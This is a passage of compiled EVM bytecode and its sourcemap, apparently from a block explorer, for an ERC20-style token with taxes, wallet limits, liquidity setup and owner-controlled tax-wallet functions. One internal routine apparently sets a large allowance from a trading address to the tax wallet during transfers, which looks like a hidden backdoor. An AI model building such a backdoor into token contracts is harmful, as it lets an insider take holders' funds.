600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fb919061175b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610845573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610869919061175b565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306108b0816001600160a01b03165f9081526001602052604090205490565b5f806108c35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610929573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094e9190611776565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c791906117a1565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b038216610aa45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b685760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b038216610bca5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b5f8111610c2b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b6013545f908190600160b01b900460ff161580610c515750601354600160a81b900460ff165b15610d0a576001600160a01b0385165f90815260016020526040902054610c799084906117c0565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610ca89084906117d3565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfb9087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d3457505f546001600160a01b03858116911614155b15610f9357600c5415610d465750600d545b6013546001600160a01b038681169116148015610d7157506012546001600160a01b03858116911614155b8015610d9557506001600160a01b0384165f9081526003602052604090205460ff16155b15610ebd57600e54831115610dec5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7438312e00000000000000604482015260640161046f565b600f5483610e0e866001600160a01b03165f9081526001602052604090205490565b610e1891906117d3565b1115610e665760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046f565b604080518082019091526001600160a01b038087168252600454166020820152610e8f90611117565b600954600c5411610ea257600554610ea6565b6007545b600c80549192505f610eb7836117e6565b91905055505b6013546001600160a01b038581169116148015610ee357506001600160a01b0385163014155b15610f0257600a54600c5411610efb57600654610eff565b6008545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f3857506013546001600160a01b038681169116145b8015610f4d5750601354600160b01b900460ff165b15610f915760105481118015610f665750600b54600c54115b15610f8857610f88610f8385610f7e846011546111a7565b6111a7565b6111be565b610f914761132e565b505b801561102357610fae6064610fa88386611369565b906113e7565b305f90815260016020526040902054909250610fca9083611428565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101a9086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110459084611486565b6001600160a01b0386165f9081526001602052604090205561108861106a8484611486565b6001600160a01b0386165f9081526001602052604090205490611428565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110d18686611486565b604051908152602001610cfb565b5f81848411156111025760405162461bcd60e51b815260040161046f91906114f3565b505f61110e84866117c0565b95945050505050565b805160208201516011545f9061112e90606461170f565b61113a6009600a611701565b611149906461f313f88061170f565b61115490606461170f565b61115e91906117d3565b905061116b81606461170f565b6111769060646117d3565b6001600160a01b039384165f9081526002602090815260408083209590961682529390935292909120919091555050565b5f8183116111b557826111b7565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611204576112046117fe565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561125b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127f919061175b565b81600181518110611292576112926117fe565b6001600160a01b0392831660209182029290920101526012546112b891309116846109e1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f09085905f90869030904290600401611812565b5f604051808303815f87803b158015611307575f80fd5b505af1158015611319573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611365573d5f803e3d5ffd5b5050565b5f825f0361137857505f6103b8565b5f611383838561170f565b9050826113908583611883565b146111b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046f565b5f6111b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c7565b5f8061143483856117d3565b9050838110156111b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046f565b5f6111b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110df565b5f81836114e75760405162461bcd60e51b815260040161046f91906114f3565b505f61110e8486611883565b5f602080835283518060208501525f5b8181101561151f57858101830151858201604001528201611503565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610628575f80fd5b5f8060408385031215611564575f80fd5b823561156f8161153f565b946020939093013593505050565b5f805f6060848603121561158f575f80fd5b833561159a8161153f565b925060208401356115aa8161153f565b929592945050506040919091013590565b5f602082840312156115cb575f80fd5b81356111b78161153f565b5f80604083850312156115e7575f80fd5b82356115f28161153f565b915060208301356116028161153f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561165b57815f19048211156116415761164161160d565b8085161561164e57918102915b93841c9390800290611626565b509250929050565b5f82611671575060016103b8565b8161167d57505f6103b8565b8160018114611693576002811461169d576116b9565b60019150506103b8565b60ff8411156116ae576116ae61160d565b50506001821b6103b8565b5060208310610133831016604e8410600b84101617156116dc575081810a6103b8565b6116e68383611621565b805f19048211156116f9576116f961160d565b029392505050565b5f6111b760ff841683611663565b80820281158282048414176103b8576103b861160d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561176b575f80fd5b81516111b78161153f565b5f805f60608486031215611788575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b1575f80fd5b815180151581146111b7575f80fd5b818103818111156103b8576103b861160d565b808201808211156103b8576103b861160d565b5f600182016117f7576117f761160d565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118625784516001600160a01b03168352938301939183019160010161183d565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261189d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220483d1fd915c209b6f750b160c56f50e9e644c944bfe315d008206f87d13c7c3364736f6c63430008180033

Deployed Bytecode Sourcemap

3558:7832:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5400:83;;;;;;;;;;-1:-1:-1;5470:5:0;;;;;;;;;;;;-1:-1:-1;;;5470:5:0;;;;5400:83;;;;;;;:::i;:::-;;;;;;;;6226:161;;;;;;;;;;-1:-1:-1;6226:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6226:161:0;1023:187:1;5675:97:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5675:97:0;1215:177:1;6393:312:0;;;;;;;;;;-1:-1:-1;6393:312:0;;;;;:::i;:::-;;:::i;5582:83::-;;;;;;;;;;-1:-1:-1;5582:83:0;;4279:1;2000:36:1;;1988:2;1973:18;5582:83:0;1858:184:1;4596:48:0;;;;;;;;;;;;;;;;10743:168;;;;;;;;;;;;;:::i;:::-;;5778:121;;;;;;;;;;-1:-1:-1;5778:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;5871:20:0;5844:7;5871:20;;;:11;:20;;;;;;;5778:121;2604:148;;;;;;;;;;;;;:::i;2390:79::-;;;;;;;;;;-1:-1:-1;2428:7:0;2455:6;2390:79;;-1:-1:-1;;;;;2455:6:0;;;2445:51:1;;2433:2;2418:18;2390:79:0;2299:203:1;5489:87:0;;;;;;;;;;-1:-1:-1;5561:7:0;;;;;;;;;;;;-1:-1:-1;;;5561:7:0;;;;5489:87;;10555:147;;;;;;;;;;-1:-1:-1;10555:147:0;;;;;:::i;:::-;;:::i;10438:111::-;;;;;;;;;;;;;:::i;5905:167::-;;;;;;;;;;-1:-1:-1;5905:167:0;;;;;:::i;:::-;;:::i;4540:49::-;;;;;;;;;;;;;;;;7051:812;;;;;;;;;;;;;:::i;6078:142::-;;;;;;;;;;-1:-1:-1;6078:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;6186:17:0;;;6159:7;6186:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;6078:142;4484:49;;;;;;;;;;;;;;;;4651:47;;;;;;;;;;;;;;;;6226:161;6301:4;6318:39;1415:10;6341:7;6350:6;6318:8;:39::i;:::-;-1:-1:-1;6375:4:0;6226:161;;;;;:::o;5675:97::-;5728:7;4339:13;4279:1;4339:2;:13;:::i;:::-;4324:28;;:12;:28;:::i;:::-;5748:16;;5675:97;:::o;6393:312::-;6491:4;6508:36;6518:6;6526:9;6537:6;6508:9;:36::i;:::-;6555:120;6564:6;1415:10;6586:88;6623:6;6586:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6586:18:0;;;;;;:10;:18;;;;;;;;1415:10;6586:32;;;;;;;;;;:36;:88::i;:::-;6555:8;:120::i;:::-;-1:-1:-1;6693:4:0;6393:312;;;;;:::o;10743:168::-;2517:6;;-1:-1:-1;;;;;2517:6:0;1415:10;2517:22;2509:67;;;;-1:-1:-1;;;2509:67:0;;;;;;;:::i;:::-;;;;;;;;;4339:13:::1;4279:1;4339:2;:13;:::i;:::-;4324:28;::::0;:12:::1;:28;:::i;:::-;10797:12;:24:::0;4339:13:::1;4279:1;4339:2;:13;:::i;:::-;4324:28;::::0;:12:::1;:28;:::i;:::-;10833:12;:24:::0;10873:29:::1;4339:13;4279:1;4339:2;:13;:::i;:::-;4324:28;::::0;:12:::1;:28;:::i;:::-;10873:29;::::0;1361:25:1;;;1349:2;1334:18;10873:29:0::1;;;;;;;10743:168::o:0;2604:148::-;2517:6;;-1:-1:-1;;;;;2517:6:0;1415:10;2517:22;2509:67;;;;-1:-1:-1;;;2509:67:0;;;;;;;:::i;:::-;2711:1:::1;2695:6:::0;;2674:40:::1;::::0;-1:-1:-1;;;;;2695:6:0;;::::1;::::0;2674:40:::1;::::0;2711:1;;2674:40:::1;2742:1;2725:19:::0;;-1:-1:-1;;;;;;2725:19:0::1;::::0;;2604:148::o;10555:147::-;2517:6;;-1:-1:-1;;;;;2517:6:0;1415:10;2517:22;2509:67;;;;-1:-1:-1;;;2509:67:0;;;;;;;:::i;:::-;10632:10:::1;:19:::0;;-1:-1:-1;;;;;10632:19:0;;::::1;-1:-1:-1::0;;;;;;10632:19:0;;::::1;::::0;::::1;::::0;;:10:::1;10662:25:::0;;;:17:::1;:25;::::0;;;;:32;;-1:-1:-1;;10662:32:0::1;10632:19:::0;10662:32:::1;::::0;;10555:147::o;10438:111::-;2517:6;;-1:-1:-1;;;;;2517:6:0;1415:10;2517:22;2509:67;;;;-1:-1:-1;;;2509:67:0;;;;;;;:::i;:::-;10490:51:::1;::::0;10498:10:::1;::::0;10519:21:::1;10490:51:::0;::::1;;;::::0;::::1;::::0;;;10519:21;10498:10;10490:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10438:111::o:0;5905:167::-;5983:4;6000:42;1415:10;6024:9;6035:6;6000:9;:42::i;7051:812::-;2517:6;;-1:-1:-1;;;;;2517:6:0;1415:10;2517:22;2509:67;;;;-1:-1:-1;;;2509:67:0;;;;;;;:::i;:::-;7113:11:::1;::::0;-1:-1:-1;;;7113:11:0;::::1;;;7112:12;7104:48;;;::::0;-1:-1:-1;;;7104:48:0;;5405:2:1;7104:48:0::1;::::0;::::1;5387:21:1::0;5444:2;5424:18;;;5417:30;5483:25;5463:18;;;5456:53;5526:18;;7104:48:0::1;5203:347:1::0;7104:48:0::1;7163:13;:102:::0;;-1:-1:-1;;;;;;7163:102:0::1;7212:42;7163:102:::0;;::::1;::::0;;;7276:58:::1;::::0;7293:4:::1;::::0;4339:13:::1;4279:1;4339:2;:13;:::i;:::-;4324:28;::::0;:12:::1;:28;:::i;7276:58::-;7377:13;;;;;;;;;-1:-1:-1::0;;;;;7377:13:0::1;-1:-1:-1::0;;;;;7377:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7359:53:0::1;;7435:4;7455:13;;;;;;;;;-1:-1:-1::0;;;;;7455:13:0::1;-1:-1:-1::0;;;;;7455:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7359:127;::::0;-1:-1:-1;;;;;;7359:127:0::1;::::0;;;;;;-1:-1:-1;;;;;6041:15:1;;;7359:127:0::1;::::0;::::1;6023:34:1::0;6093:15;;6073:18;;;6066:43;5958:18;;7359:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7345:11;:141:::0;;-1:-1:-1;;;;;7345:141:0;;::::1;-1:-1:-1::0;;;;;;7345:141:0;;::::1;;::::0;;7498:13:::1;::::0;::::1;:29;7535:21;7580:4;7600:24;7580:4:::0;-1:-1:-1;;;;;5871:20:0;5844:7;5871:20;;;:11;:20;;;;;;;5778:121;7600:24:::1;7639:1;7655::::0;7671:7:::1;2428::::0;2455:6;-1:-1:-1;;;;;2455:6:0;;2390:79;7671:7:::1;7498:221;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7498:221:0;;;-1:-1:-1;;;;;6479:15:1;;;7498:221:0::1;::::0;::::1;6461:34:1::0;6511:18;;;6504:34;;;;6554:18;;;6547:34;;;;6597:18;;;6590:34;6661:15;;;6640:19;;;6633:44;7693:15:0::1;6693:19:1::0;;;6686:35;6395:19;;7498:221:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7737:11:0::1;::::0;7766:13:::1;::::0;7730:67:::1;::::0;-1:-1:-1;;;7730:67:0;;-1:-1:-1;;;;;7766:13:0;;::::1;7730:67;::::0;::::1;7217:51:1::0;-1:-1:-1;;7284:18:1;;;7277:34;7737:11:0;::::1;::::0;-1:-1:-1;7730:27:0::1;::::0;7190:18:1;;7730:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7808:11:0::1;:18:::0;;-1:-1:-1;;;;7837:18:0;-1:-1:-1;;;7837:18:0;;;7051:812::o;6711:334::-;-1:-1:-1;;;;;6804:19:0;;6796:68;;;;-1:-1:-1;;;6796:68:0;;7806:2:1;6796:68:0;;;7788:21:1;7845:2;7825:18;;;7818:30;7884:34;7864:18;;;7857:62;-1:-1:-1;;;7935:18:1;;;7928:34;7979:19;;6796:68:0;7604:400:1;6796:68:0;-1:-1:-1;;;;;6883:21:0;;6875:68;;;;-1:-1:-1;;;6875:68:0;;8211:2:1;6875:68:0;;;8193:21:1;8250:2;8230:18;;;8223:30;8289:34;8269:18;;;8262:62;-1:-1:-1;;;8340:18:1;;;8333:32;8382:19;;6875:68:0;8009:398:1;6875:68:0;-1:-1:-1;;;;;6954:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;7005:32;;1361:25:1;;;7005:32:0;;1334:18:1;7005:32:0;;;;;;;6711:334;;;:::o;7869:2119::-;-1:-1:-1;;;;;7959:18:0;;7951:68;;;;-1:-1:-1;;;7951:68:0;;8614:2:1;7951:68:0;;;8596:21:1;8653:2;8633:18;;;8626:30;8692:34;8672:18;;;8665:62;-1:-1:-1;;;8743:18:1;;;8736:35;8788:19;;7951:68:0;8412:401:1;7951:68:0;-1:-1:-1;;;;;8038:16:0;;8030:64;;;;-1:-1:-1;;;8030:64:0;;9020:2:1;8030:64:0;;;9002:21:1;9059:2;9039:18;;;9032:30;9098:34;9078:18;;;9071:62;-1:-1:-1;;;9149:18:1;;;9142:33;9192:19;;8030:64:0;8818:399:1;8030:64:0;8124:1;8113:8;:12;8105:66;;;;-1:-1:-1;;;8105:66:0;;9424:2:1;8105:66:0;;;9406:21:1;9463:2;9443:18;;;9436:30;9502:34;9482:18;;;9475:62;-1:-1:-1;;;9553:18:1;;;9546:39;9602:19;;8105:66:0;9222:405:1;8105:66:0;8229:11;;8182:13;;;;-1:-1:-1;;;8229:11:0;;;;8228:12;;:22;;-1:-1:-1;8244:6:0;;-1:-1:-1;;;8244:6:0;;;;8228:22;8224:231;;;-1:-1:-1;;;;;8287:17:0;;;;;;:11;:17;;;;;;:28;;8307:8;;8287:28;:::i;:::-;-1:-1:-1;;;;;8267:17:0;;;;;;;:11;:17;;;;;;:48;;;;8348:15;;;;;;;:26;;8366:8;;8348:26;:::i;:::-;-1:-1:-1;;;;;8330:15:0;;;;;;;:11;:15;;;;;;;:44;;;;8394:28;;;;;;;;;;8413:8;1361:25:1;;1349:2;1334:18;;1215:177;8394:28:0;;;;;;;;8437:7;;7869:2119;;;:::o;8224:231::-;2428:7;2455:6;-1:-1:-1;;;;;8469:15:0;;;2455:6;;8469:15;;;;:32;;-1:-1:-1;2428:7:0;2455:6;-1:-1:-1;;;;;8488:13:0;;;2455:6;;8488:13;;8469:32;8465:1114;;;8521:9;;:11;8518:72;;-1:-1:-1;8561:12:0;;8518:72;8616:11;;-1:-1:-1;;;;;8608:19:0;;;8616:11;;8608:19;:51;;;;-1:-1:-1;8645:13:0;;-1:-1:-1;;;;;8631:28:0;;;8645:13;;8631:28;;8608:51;:78;;;;-1:-1:-1;;;;;;8665:21:0;;;;;;:17;:21;;;;;;;;8663:23;8608:78;8604:421;;;8728:12;;8716:8;:24;;8708:62;;;;-1:-1:-1;;;8708:62:0;;10097:2:1;8708:62:0;;;10079:21:1;10136:2;10116:18;;;10109:30;10175:27;10155:18;;;10148:55;10220:18;;8708:62:0;9895:349:1;8708:62:0;8825:12;;8813:8;8797:13;8807:2;-1:-1:-1;;;;;5871:20:0;5844:7;5871:20;;;:11;:20;;;;;;;5778:121;8797:13;:24;;;;:::i;:::-;:40;;8789:79;;;;-1:-1:-1;;;8789:79:0;;10451:2:1;8789:79:0;;;10433:21:1;10490:2;10470:18;;;10463:30;10529:28;10509:18;;;10502:56;10575:18;;8789:79:0;10249:350:1;8789:79:0;8887:25;;;;;;;;;-1:-1:-1;;;;;8887:25:0;;;;;8900:10;;;8887:25;;;;;;:5;:25::i;:::-;8934:15;;8924:9;;:25;8923:55;;8964:14;;8923:55;;;8951:12;;8923:55;8998:9;:11;;8914:65;;-1:-1:-1;8998:9:0;:11;;;:::i;:::-;;;;;;8604:421;9048:11;;-1:-1:-1;;;;;9042:17:0;;;9048:11;;9042:17;:41;;;;-1:-1:-1;;;;;;9063:20:0;;9078:4;9063:20;;9042:41;9039:149;;;9124:16;;9114:9;;:26;9113:58;;9156:15;;9113:58;;;9142:13;;9113:58;9104:68;;9039:149;9251:4;9202:28;5871:20;;;:11;:20;;;;;;9277:6;;-1:-1:-1;;;9277:6:0;;;;9276:7;:28;;;;-1:-1:-1;9293:11:0;;-1:-1:-1;;;;;9287:17:0;;;9293:11;;9287:17;9276:28;:43;;;;-1:-1:-1;9308:11:0;;-1:-1:-1;;;9308:11:0;;;;9276:43;9272:296;;;9366:11;;9343:20;:34;:68;;;;;9393:18;;9381:9;;:30;9343:68;9340:161;;;9434:67;9444:56;9450:8;9460:39;9466:20;9488:10;;9460:5;:39::i;:::-;9444:5;:56::i;:::-;9434:9;:67::i;:::-;9520:32;9530:21;9520:9;:32::i;:::-;8503:1076;8465:1114;9592:9;;9589:210;;9625:28;9649:3;9625:19;:5;9635:8;9625:9;:19::i;:::-;:23;;:28::i;:::-;9715:4;9695:26;;;;:11;:26;;;;;;9617:36;;-1:-1:-1;9695:37:0;;9617:36;9695:30;:37::i;:::-;9688:4;9668:26;;;;:11;:26;;;;;;;:64;;;;9752:35;;-1:-1:-1;;;;;9752:35:0;;;;;;;9781:5;1361:25:1;;1349:2;1334:18;;1215:177;9752:35:0;;;;;;;;9589:210;-1:-1:-1;;;;;9827:17:0;;;;;;:11;:17;;;;;;:31;;9849:8;9827:21;:31::i;:::-;-1:-1:-1;;;;;9809:17:0;;;;;;:11;:17;;;;;:49;9885:40;9905:19;:8;9918:5;9905:12;:19::i;:::-;-1:-1:-1;;;;;9885:15:0;;;;;;:11;:15;;;;;;;:19;:40::i;:::-;-1:-1:-1;;;;;9869:15:0;;;;;;;:11;:15;;;;;:56;;;;9941:39;;;9960:19;:8;9973:5;9960:12;:19::i;:::-;9941:39;;1361:25:1;;;1349:2;1334:18;9941:39:0;1215:177:1;514:190:0;600:7;636:12;628:6;;;;620:29;;;;-1:-1:-1;;;620:29:0;;;;;;;;:::i;:::-;-1:-1:-1;660:9:0;672:5;676:1;672;:5;:::i;:::-;660:17;514:190;-1:-1:-1;;;;;514:190:0:o;10100:237::-;10175:8;;;10203;;;10260:10;;10159:13;;10256:14;;:3;:14;:::i;:::-;4339:13;4279:1;4339:2;:13;:::i;:::-;4324:28;;:12;:28;:::i;:::-;10240:13;;:3;:13;:::i;:::-;:30;;;;:::i;:::-;10222:48;-1:-1:-1;10316:13:0;10222:48;10326:3;10316:13;:::i;:::-;10310:19;;:3;:19;:::i;:::-;-1:-1:-1;;;;;10281:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;;:48;;;;-1:-1:-1;;10100:237:0:o;9994:100::-;10053:7;10080:1;10078;:3;10077:9;;10085:1;10077:9;;;10083:1;10077:9;10070:16;9994:100;-1:-1:-1;;;9994:100:0:o;10917:470::-;4972:6;:13;;-1:-1:-1;;;;4972:13:0;-1:-1:-1;;;4972:13:0;;;11012:16:::1;::::0;;11026:1:::1;11012:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11012:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11012:16:0::1;10988:40;;11057:4;11039;11044:1;11039:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11039:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11083:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;11083:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;11039:7;;11083:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11073:4;11078:1;11073:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11073:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;11146:13:::1;::::0;11114:60:::1;::::0;11131:4:::1;::::0;11146:13:::1;11162:11:::0;11114:8:::1;:60::i;:::-;11185:13;::::0;:194:::1;::::0;-1:-1:-1;;;11185:194:0;;-1:-1:-1;;;;;11185:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;11264:11;;11185:13:::1;::::0;11306:4;;11333::::1;::::0;11353:15:::1;::::0;11185:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5008:6:0;:14;;-1:-1:-1;;;;5008:14:0;;;-1:-1:-1;;;;10917:470:0:o;10343:89::-;10397:10;;:27;;-1:-1:-1;;;;;10397:10:0;;;;:27;;;;;10417:6;;10397:10;:27;:10;:27;10417:6;10397:10;:27;;;;;;;;;;;;;;;;;;;;;10343:89;:::o;712:246::-;770:7;794:1;799;794:6;790:47;;-1:-1:-1;824:1:0;817:8;;790:47;847:9;859:5;863:1;859;:5;:::i;:::-;847:17;-1:-1:-1;892:1:0;883:5;887:1;847:17;883:5;:::i;:::-;:10;875:56;;;;-1:-1:-1;;;875:56:0;;12417:2:1;875:56:0;;;12399:21:1;12456:2;12436:18;;;12429:30;12495:34;12475:18;;;12468:62;-1:-1:-1;;;12546:18:1;;;12539:31;12587:19;;875:56:0;12215:397:1;966:132:0;1024:7;1051:39;1055:1;1058;1051:39;;;;;;;;;;;;;;;;;:3;:39::i;183:179::-;241:7;;273:5;277:1;273;:5;:::i;:::-;261:17;;302:1;297;:6;;289:46;;;;-1:-1:-1;;;289:46:0;;12819:2:1;289:46:0;;;12801:21:1;12858:2;12838:18;;;12831:30;12897:29;12877:18;;;12870:57;12944:18;;289:46:0;12617:351:1;370:136:0;428:7;455:43;459:1;462;455:43;;;;;;;;;;;;;;;;;:3;:43::i;1106:189::-;1192:7;1227:12;1220:5;1212:28;;;;-1:-1:-1;;;1212:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1251:9:0;1263:5;1267:1;1263;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2767:388::-;2835:6;2843;2896:2;2884:9;2875:7;2871:23;2867:32;2864:52;;;2912:1;2909;2902:12;2864:52;2951:9;2938:23;2970:31;2995:5;2970:31;:::i;:::-;3020:5;-1:-1:-1;3077:2:1;3062:18;;3049:32;3090:33;3049:32;3090:33;:::i;:::-;3142:7;3132:17;;;2767:388;;;;;:::o;3160:127::-;3221:10;3216:3;3212:20;3209:1;3202:31;3252:4;3249:1;3242:15;3276:4;3273:1;3266:15;3292:416;3381:1;3418:5;3381:1;3432:270;3453:7;3443:8;3440:21;3432:270;;;3512:4;3508:1;3504:6;3500:17;3494:4;3491:27;3488:53;;;3521:18;;:::i;:::-;3571:7;3561:8;3557:22;3554:55;;;3591:16;;;;3554:55;3670:22;;;;3630:15;;;;3432:270;;;3436:3;3292:416;;;;;:::o;3713:806::-;3762:5;3792:8;3782:80;;-1:-1:-1;3833:1:1;3847:5;;3782:80;3881:4;3871:76;;-1:-1:-1;3918:1:1;3932:5;;3871:76;3963:4;3981:1;3976:59;;;;4049:1;4044:130;;;;3956:218;;3976:59;4006:1;3997:10;;4020:5;;;4044:130;4081:3;4071:8;4068:17;4065:43;;;4088:18;;:::i;:::-;-1:-1:-1;;4144:1:1;4130:16;;4159:5;;3956:218;;4258:2;4248:8;4245:16;4239:3;4233:4;4230:13;4226:36;4220:2;4210:8;4207:16;4202:2;4196:4;4193:12;4189:35;4186:77;4183:159;;;-1:-1:-1;4295:19:1;;;4327:5;;4183:159;4374:34;4399:8;4393:4;4374:34;:::i;:::-;4444:6;4440:1;4436:6;4432:19;4423:7;4420:32;4417:58;;;4455:18;;:::i;:::-;4493:20;;3713:806;-1:-1:-1;;;3713:806:1:o;4524:140::-;4582:5;4611:47;4652:4;4642:8;4638:19;4632:4;4611:47;:::i;4669:168::-;4742:9;;;4773;;4790:15;;;4784:22;;4770:37;4760:71;;4811:18;;:::i;4842:356::-;5044:2;5026:21;;;5063:18;;;5056:30;5122:34;5117